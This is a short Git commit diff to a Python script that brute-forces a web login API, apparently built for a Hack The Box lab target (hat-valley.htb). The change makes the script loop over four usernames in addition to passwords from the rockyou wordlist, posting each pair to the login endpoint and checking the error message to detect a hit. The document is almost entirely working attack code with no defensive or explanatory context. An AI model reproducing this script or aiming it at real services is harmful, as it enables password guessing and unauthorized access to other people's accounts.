up
This commit is contained in:
+4
-3
@@ -2,7 +2,7 @@ from requests import post
|
|||||||
import time
|
import time
|
||||||
|
|
||||||
wordlist = "/usr/share/wordlists/rockyou.txt"
|
wordlist = "/usr/share/wordlists/rockyou.txt"
|
||||||
usern = "bean.hill"
|
usrn = ["bean.hill", "christine.wool", "christopher.jones", "jackson.lightheart"]
|
||||||
|
|
||||||
def ayy(username, password):
|
def ayy(username, password):
|
||||||
endpoint = "http://hat-valley.htb/api/login"
|
endpoint = "http://hat-valley.htb/api/login"
|
||||||
@@ -20,8 +20,9 @@ with open(wordlist,'r') as mariob:
|
|||||||
for passWL in mariob:
|
for passWL in mariob:
|
||||||
if found == False:
|
if found == False:
|
||||||
for pasw in passWL.split():
|
for pasw in passWL.split():
|
||||||
print("[+++] testing " + usern + ":" + pasw)
|
for usernames in usrn:
|
||||||
if ayy(usern, pasw) == "Incorrect username or password":
|
print("[+++] testing " + usernames + ":" + pasw)
|
||||||
|
if ayy(usernames, pasw) == "Incorrect username or password":
|
||||||
print("[+] Found?: " + str(found))
|
print("[+] Found?: " + str(found))
|
||||||
time.sleep(.01)
|
time.sleep(.01)
|
||||||
else:
|
else:
|
||||||
|
|||||||
Reference in New Issue
Block a user